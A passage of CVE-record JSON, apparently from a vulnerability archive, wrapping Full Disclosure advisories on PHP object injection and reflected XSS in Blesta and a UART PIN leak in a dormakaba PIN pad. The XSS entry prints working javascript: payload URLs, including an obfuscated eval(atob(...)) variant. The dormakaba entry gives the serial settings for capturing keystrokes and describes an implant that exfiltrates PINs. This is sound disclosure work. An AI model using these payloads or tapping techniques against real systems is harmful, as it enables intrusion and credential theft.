              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Egidio Romano"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "--------------------------------------------------------------------------\nBlesta \u003c= 5.13.1 (2Checkout) Multiple PHP Object Injection Vulnerabilities\n--------------------------------------------------------------------------\n\n\n[-] Software Link:\n\nhttps://www.blesta.com\n\n\n[-] Affected Versions:\n\nAll versions from 3.0.0 to 5.13.1.\n\n\n[-] Vulnerabilities Description:\n\nThe vulnerabilities exist because user input passed through the\n\"invoices\" POST parameter or the \"item-ext-ref\" GET parameter when\ndispatching the Checkout2::validate() or Checkout2::success() method\nis not properly sanitized before being used in a call to the\nunserialize() PHP function. This can be exploited by malicious client\nusers to inject arbitrary PHP objects into the application scope,\nallowing them to perform a variety of attacks, such as executing\narbitrary PHP code (RCE).\n\nSuccessful exploitation of this issue requires the 2Checkout payment\ngateway to be installed.\n\n\n[-] Proof of Concept:\n\nhttps://karmainsecurity.com/pocs/CVE-2026-25614.php\n\n\n[-] Solution:\n\nApply the vendor patch or upgrade to version 5.13.2 or later.\n\n\n[-] Disclosure Timeline:\n\n[19/01/2026] - Vendor notified\n\n[22/01/2026] - CVE identifier requested\n\n[28/01/2026] - Version 5.13.2 released\n\n[31/01/2026] - Version 5.13.3 released to address regressions\nintroduced in 5.13.2\n\n[03/02/2026] - CVE identifier assigned\n\n[04/02/2026] - Public disclosure\n\n\n[-] CVE Reference:\n\nThe Common Vulnerabilities and Exposures project (cve.org) has\nassigned the name CVE-2026-25614 to these vulnerabilities.\n\n\n[-] Credits:\n\nVulnerabilities discovered by Egidio Romano.\n\n\n[-] Other References:\n\nhttps://www.blesta.com/2026/01/28/security-advisory/\n\n\n[-] Original Advisory:\n\nhttps://karmainsecurity.com/KIS-2026-03\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:33:08Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/2"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Feb/2"
        },
        {
          "url": "https://karmainsecurity.com/KIS-2026-03"
        },
        {
          "url": "https://karmainsecurity.com/pocs/CVE-2026-25614.php"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.blesta.com"
        },
        {
          "url": "https://www.blesta.com/2026/01/28/security-advisory/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Feb/2"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[KIS-2026-03] Blesta \u003c= 5.13.1 (2Checkout) Multiple PHP Object Injection Vulnerabilities",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-25614",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0233",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/2",
            "automated": true,
            "contentSha256": "e59e4af7234ed5bfb95dc060e157dcf0886b0270a699741bf257fecbdc07394a",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/2",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-02-04T10:50:59Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0233"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:43Z",
    "dateUpdated": "2026-09-09T13:33:08Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0233"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Blesta",
          "vendor": "Blesta",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Egidio Romano"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "--------------------------------------------------------------------------------\nBlesta \u003c= 5.13.1 (Admin Interface) Multiple PHP Object Injection Vulnerabilities\n--------------------------------------------------------------------------------\n\n\n[-] Software Link:\n\nhttps://www.blesta.com\n\n\n[-] Affected Versions:\n\nAll versions from 3.0.0 to 5.13.1.\n\n\n[-] Vulnerabilities Description:\n\nThe vulnerabilities exist because user input passed through the \"vars\"\nand \"order_info\" POST parameters when dispatching the\n/app/controllers/admin_clients.php script, and through the\n\"$group_name\" POST parameter when dispatching the\n/app/controllers/admin_company_groups.php script, is not properly\nsanitized before being used in a call to the unserialize() PHP\nfunction. This can be exploited by malicious administrator users to\ninject arbitrary PHP objects into the application scope, allowing them\nto perform a variety of attacks, such as executing arbitrary PHP code\n(RCE).\n\n\n[-] Proof of Concept:\n\nhttps://karmainsecurity.com/pocs/CVE-2026-25615.php\n\n\n[-] Solution:\n\nApply the vendor patch or upgrade to version 5.13.2 or later.\n\n\n[-] Disclosure Timeline:\n\n[19/01/2026] - Vendor notified\n\n[20/01/2026] - Vendor response stating: \u201cthis issue was previously\nidentified during an internal security review\u201d\n\n[22/01/2026] - CVE identifier requested\n\n[28/01/2026] - Version 5.13.2 released\n\n[31/01/2026] - Version 5.13.3 released to address regressions\nintroduced in 5.13.2\n\n[03/02/2026] - CVE identifier assigned\n\n[04/02/2026] - Public disclosure\n\n\n[-] CVE Reference:\n\nThe Common Vulnerabilities and Exposures project (cve.org) has\nassigned the name CVE-2026-25615 to these vulnerabilities.\n\n\n[-] Credits:\n\nVulnerabilities discovered by Egidio Romano.\n\n\n[-] Other References:\n\nhttps://www.blesta.com/2026/01/28/security-advisory/\n\n\n[-] Original Advisory:\n\nhttps://karmainsecurity.com/KIS-2026-02\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:33:05Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/1"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Feb/1"
        },
        {
          "url": "https://karmainsecurity.com/KIS-2026-02"
        },
        {
          "url": "https://karmainsecurity.com/pocs/CVE-2026-25615.php"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.blesta.com"
        },
        {
          "url": "https://www.blesta.com/2026/01/28/security-advisory/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Feb/1"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[KIS-2026-02] Blesta \u003c= 5.13.1 (Admin Interface) Multiple PHP Object Injection Vulnerabilities",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-25615",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0232",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/1",
            "automated": true,
            "contentSha256": "eee9128de95a12c9f564f8113749453fecbf7cb9d328e5e8de184a4ce1f857a5",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/1",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-02-04T10:49:40Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0232"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:43Z",
    "dateUpdated": "2026-09-09T13:33:05Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0232"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Blesta",
          "vendor": "Blesta",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Egidio Romano"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "---------------------------------------------------------------------------\nBlesta \u003c= 5.13.1 (confirm_url) Reflected Cross-Site Scripting Vulnerability\n---------------------------------------------------------------------------\n\n\n[-] Software Link:\n\nhttps://www.blesta.com\n\n\n[-] Affected Versions:\n\nAll versions from 3.2.0 to 5.13.1.\n\n\n[-] Vulnerability Description:\n\nUser input passed through the \"confirm_url\" GET parameter to the\n/dialog/confirm and /client_dialog/confirm/ endpoints is not properly\nsanitized before being used to generate HTML output; specifically,\nbefore being used as action attribute of an HTML form. This can be\nexploited by attackers to perform 2-clicks Reflected Cross-Site\nScripting (XSS) attacks.\n\n\n[-] Proof of Concept:\n\nAn attacker may trick a victim Blesta user into clicking on links like these:\n\nhttp://[blesta]/dialog/confirm/?confirm_url=javascript:alert(\u0027XSS\u0027)\nhttp://[blesta]/client_dialog/confirm/?confirm_url=javascript:eval(atob(\u0027YWxlcnQoJ1hTUyBvbiAnK2RvY3VtZW50LmRvbWFpbik=\u0027))\n\nWhen the victim user clicks on the malicious link and then they also\nclick on the \"Yes\" button, the form will be submitted, and the\nattacker-controlled JavaScript code will be executed on the victim\nuser\u0027s browser.\n\n\n[-] Solution:\n\nApply the vendor patch or upgrade to version 5.13.2 or later.\n\n\n[-] Disclosure Timeline:\n\n[19/01/2026] - Vendor notified\n\n[22/01/2026] - CVE identifier requested\n\n[28/01/2026] - Version 5.13.2 released\n\n[31/01/2026] - Version 5.13.3 released to address regressions\nintroduced in 5.13.2\n\n[03/02/2026] - CVE identifier assigned\n\n[04/02/2026] - Public disclosure\n\n\n[-] CVE Reference:\n\nThe Common Vulnerabilities and Exposures project (cve.org) has\nassigned the name CVE-2026-25616 to this vulnerability.\n\n\n[-] Credits:\n\nVulnerability discovered by Egidio Romano.\n\n\n[-] Other References:\n\nhttps://www.blesta.com/2026/01/28/security-advisory/\n\n\n[-] Original Advisory:\n\nhttps://karmainsecurity.com/KIS-2026-01\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:33:02Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/0"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Feb/0"
        },
        {
          "url": "https://karmainsecurity.com/KIS-2026-01"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.blesta.com"
        },
        {
          "url": "https://www.blesta.com/2026/01/28/security-advisory/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Feb/0"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[KIS-2026-01] Blesta \u003c= 5.13.1 (confirm_url) Reflected Cross-Site Scripting Vulnerability",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-25616",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0231",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/0",
            "automated": true,
            "contentSha256": "f8b50e10b96c70923c07d3f0fe014dbc4bb1cadf852eaf8ee4664f764af8daf3",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/0",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-02-04T10:47:47Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0231"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:43Z",
    "dateUpdated": "2026-09-09T13:33:02Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0231"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SEC Consult SA-20260126-2",
          "vendor": "Dormakaba",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260126-2 \u003e\n=======================================================================\n              title: UART Leaking Sensitive Data\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 product: dormakaba registration unit 9002 (PIN pad)\n vulnerable version: \u003cSW0039\n\u00a0 \u00a0 \u00a0 fixed version: SW0039\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2025-59109\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: medium\n           homepage:https://www.dormakaba.com/\n              found: 2024-03-18\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0by: Clemens Stockenreitner (Office Vienna)\n                     Werner Schober (Office Vienna)\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"The Kaba exos 9300 basic system is the cornerstone of your access\nmanagement solution. Use it to resolves all your basic employees,\nsystem, user and peripheral management tasks and initiate targeted\nsecurity measures as required. [...] \"\n\nSource:https://www.dormakaba.com/gb-en/offering/products/electronic-access-data/corporate-access-control-solutions\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides an updated hardware revision of the device.\nMore details can be found at the following locations:\n- Solution at the end of this advisory\n- SEC Consult blog post:https://r.sec-consult.com/dormakaba\n- Vendor website / security page:https://www.dormakabagroup.com/en/security-advisories\n- Your dormakaba partner\n\n\nTested Architecture Overview\n-----------------------------------\nThe tested system is the enterprise grade physical access system from\ndormakaba. The tested system consists of the following components:\n\n------------------------------\ndormakaba exos 9300\n------------------------------\nExos 9300 is a piece of software based on C# running on a central Windows server with\nan MSSQL, or Oracle database as central storage.\nExos consists of multiple modules (e.g. basis, employee management, key depot, access,\nvisitor management, 3rd party management). Exos is used to centrally manage users,\nkeys, cards as well as the configuration of the access manager. Devices in the\nexos environment are addressed using a special addressing scheme. The address scheme\ndescribed in the following table is going to be important.\n\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502         I          \u2502            01             \u2502      00       \u2502                    01                     \u2502          \n  00             \u2502        00         \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 Port Type          \u2502 Communication Hub Address \u2502 Port Address  \u2502 Access Hub Address                        \u2502 00 = \nDoor Manager         \u2502 Datapoint Address \u2502\n\u2502 I = Access Manager \u2502 Values: 01-99             \u2502 Values: 00-99 \u2502 Values: 00-99                             \u2502 01 = \nAccess Point         \u2502 Values: 00-20     \u2502\n\u2502 B = Serial         \u2502                           \u2502               \u2502 Fixed to 01 for Access Hubs with Ethernet \u2502 02 = \nTurnstile            \u2502                   \u2502\n\u2502 C = Modem          \u2502                           \u2502               \u2502                                           \u2502 03 = IO \nController        \u2502                   \u2502\n\u2502 E = Ethernet       \u2502                           \u2502               \u2502                                           \u2502 Fixed to \n00 in most cases \u2502                   \u2502\n\u2502 R = remote         \u2502                           \u2502               \u2502                                           \u2502          \n                 \u2502                   \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\n------------------------------\ndormakaba Access Manager\n------------------------------\nThe access manager is a component that is configured via exos. The configuration\nbetween exos and access manager is exchanged via a SOAP interface. Per default\nthe data exchange is unencrypted. Encryption is only available starting with\naccess manager hardware release K7.\nThe access manager is a custom piece of hardware with multiple inputs and outputs.\nThe device offers the following interfaces:\n- Digital Inputs\n- 3x DC Output Relays\n- 2x RS-232\n- 1x RS-485 (Used to connect to access manager extension systems e.g. Kaba 9125)\n- 1x RJ45\n- 1x Micro USB\n- 2x Coax (Used to connect registration units e.g. 9001, 9002)\n\nThe tested hardware was an access manager 9200-k5 running Windows CE embedded,\nand an access manager 9200-k7 running Linux.\n\n------------------------------\ndormakaba Registration Unit\n------------------------------\nDormakaba registration units can be either a Legic/Mifare card reader,\nor a PIN pad used to enter a PIN to deactivate alarming systems, or as\nan additional authentication.\n\n------------------------------\nElectric lock\n------------------------------\nThe lock used for the tested setup is an Assa Abloy/effeff Profix 118. The lock\nis simply controlled via a relay contact connected to the access manager. As\nsoon as a user successfully authenticates with a registration unit,\nthe relay connected to the lock is switched and the door opens.\n\nThe system is depicted in the following diagram.\n\n          \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n          \u2502         \u2502\n          \u2502exos 9300\u2502              \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510  \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n          \u2502         \u2502              \u2502 Reg Unit \u2502  \u2502 Pin Pad  \u2502\n          \u2514\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2518              \u2502   \u250c\u2500\u2500\u2510   \u2502  \u2502  x x x   \u2502\n               \u2502                   \u2502   \u2502\u253c\u253c\u2502   \u2502  \u2502  x x x   \u2502\nEthernet\u2500\u2500\u2500\u2500\u2500\u2500\u25ba\u2502                   \u2502   \u2514\u2500\u2500\u2518   \u2502  \u2502  x x x   \u2502\n               \u2502                   \u2502   9001   \u2502  \u2502   9002   \u2502\n          \u250c\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2510              \u2514\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2518  \u2514\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2518\n          \u2502 Access  \u2502                    \u2502             \u2502\n          \u2502 Manager \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n          \u2502  9200   \u2502        \u25b2\n          \u2514\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2518        \u2502\n               \u2502           Coax\n               \u2502\n  DC Relay\u2500\u2500\u2500\u25ba \u2502\n               \u2502\n            \u250c\u2500\u2500\u2534\u2500\u2500\u2510\n            \u2502     \u2502\n            \u2502     \u2502\n            \u2502     \u2502\n            \u2502    \u2500\u2524\u25c4\u2500\u2500\u2500\u2500\u2500\u2500Electric Lock\n            \u2502     \u2502\n            \u2502     \u2502\n            \u2514\u2500\u2500\u2500\u2500\u2500\u2518\n\n\n\nVulnerability overview/description:\n-----------------------------------\n1) UART Leaking Sensitive Data (CVE-2025-59109)\nThe dormakaba registration units 9002 (PIN Pad Units) have an exposed UART\nheader on the backside. The PIN pad is sending every button press to the UART\ninterface. An attacker can use the interface to exfiltrate PINs. As the\ndevices are explicitly built as Plug-and-Play to be easily replaced, an attacker\nis easily able to remove the device, install a hardware implant which connects\nto the UART and exfiltrates the data exposed via UART to another system (e.g. via WiFi).\n\n\nProof of concept:\n-----------------\n1) UART Leaking Sensitive Data (CVE-2025-59109)\nTo verify that the UART interface actually sends the entered numbers, wires have been\nsoldered to the board of the keypad. Using a baud rate of 57.600, one stop bit and no\nparity bits, the data keystrokes can be received.\n\nThe received output then includes the pressed keys, and the coordinates of the pressed\nkey in the following format.\n\n1,1324,0395,\n5,1294,0386,\n8,1290,0398,\n6,1294,0388,\n6,1294,0403,\nE,1304,0374,\n\n\nVulnerable / tested versions:\n-----------------------------\nAll hardware revisions with a firmware version \u003cSW0039, which was the latest\nversion available at the time of the test, are vulnerable.\n\n\nVendor contact timeline:\n------------------------\n2024-04-02: Contacting vendor throughsecuritysupport () dormakaba com, no response\n2024-04-05: Contacting vendor again throughsecuritysupport () dormakaba com, no response\n2024-04-09: Contacting vendor again throughinfo () dormakaba com andhelpdesk.awm.ch () dormakaba com\n2024-04-09:info () dormakaba com andhelpdesk.awm.ch () dormakaba com informed us\n            that they are not responsible for Austrian \"Customers\" and we should\n            contact the Austrian dormakaba entity.\n2024-04-09: Contacting vendor again throughinfo () dormakaba com,helpdesk.awm.ch () dormakaba com\n            andsecuritysupport () dormakaba com. Explaining that this is not a local\n            Austrian problem, but a global issue for dormakaba. Requesting a Global\n            Security Contact.\n2024-04-09: Instead of forwarding our message to the global security team a local\n            Austrian dormakaba representative called us. We closed the call down by\n            requesting a contact of dormakaba\u0027s global security team.\n2024-04-09: Austrian representatives requests the advisory via E-Mail. Asking for\n            confirmation, if mail encryption is supported or if the advisory\n            shall be forwarded unencrypted.\n2024-04-10: Scheduling a conference call with the Austrian contact to clarify everything\n            and explain the security issues.\n2024-04-10: Conference call got cancelled. The Austrian contact forwarded our request to\n            the headquarter in Switzerland.\n2024-04-10: dormakaba\u0027s CISO contacted us via email and informed us to get back to us\n            as soon as possible.\n2024-04-12: dormakaba\u0027s DVP Systems Access Control und Owner Security Governance contacted\n            us via email and provided us with a secure channel to submit the advisory. The\n            advisory got submitted immediately.\n2024-04-12: dormakaba\u0027s DVP Systems Access Control und Owner Security Governance requests\n            details about the tested firmware and software version.\n2024-04-15: SEC Consult provides detailed software and firmware version that was tested.\n2024-04-16: dormakaba updates us and informs us that they are actively investigating\n            the reported issues.\n2024-04-30: Asking for a status update \u0026 offering a meeting to discuss any questions.\n2024-04-30: dormakaba\u0027s CISO replies by accepting our meeting offer. Scheduling a meeting\n            for 2024-05-07.\n2024-05-07: Meeting with dormakaba\u0027s CISO and DVP Systems Access Control. All vulnerabilities\n            are confirmed and actively worked on. Discussing further steps and agreeing on a\n            monthly update meeting with dormakaba.\n2024-05-08: Providing further details concerning the vulnerabilities as well as\n            providing a set of questions (Vulnerable Versions, Firmware, Revisions), proposing\n            meeting dates; no response\n2024-05-23: Asking for a status update, no response\n2024-06-03: Asking again for a status update.\n2024-06-04: dormakaba\u0027s CISO replies with a meeting invite.\n2024-06-05: Meeting with dormakaba for the scheduled monthly update meeting.\n2024-07-24: Asking again for a status update, no response.\n2024-07-31: Asking again for a status update or meeting, no response.\n2024-08-19: Asking again for a status update or meeting.\n2024-08-27: Scheduling a call for 2024-09-03\n2024-09-03: dormakaba technician provides status update about which vulnerabilities are already\n            fixed in the next release and on which they are still actively working on.\n2024-11-12: Asking for a status update and informing dormakaba that we tested a newer hardware\n            release of the dormakaba Access Manager (9200-K7) which is based on Linux.\n            Multiple new critical vulnerabilities were identified. A separate advisory\n            is in the making.\n2024-12-12: Meeting with dormakaba to discuss new identified issues in other hardware releases.\n2025-01-16: Added vulnerability \"Unauthenticated access to the internal SQLite Database\" \u0026\n            \"Static firmware encryption password\", see SEC Consult advisory 20260126-1.\n2025-01-17: Providing updated advisory to dormakaba, asking for a status update regarding\n            th"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:32:44Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/24"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/24"
        },
        {
          "url": "https://blog.sec-consult.com"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://r.sec-consult.com/dormakaba"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.dormakaba.com/"
        },
        {
          "url": "https://www.dormakaba.com/gb-en/offering/products/electronic-access-data/corporate-access-control-solutions"
        },
        {
          "url": "https://www.dormakabagroup.com/en/security-advisories"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/24"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260126-2 :: UART Leaking Sensitive Data in dormakaba registration unit 9002 (PIN pad)",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2025-59109",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0192",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/24",
            "automated": true,
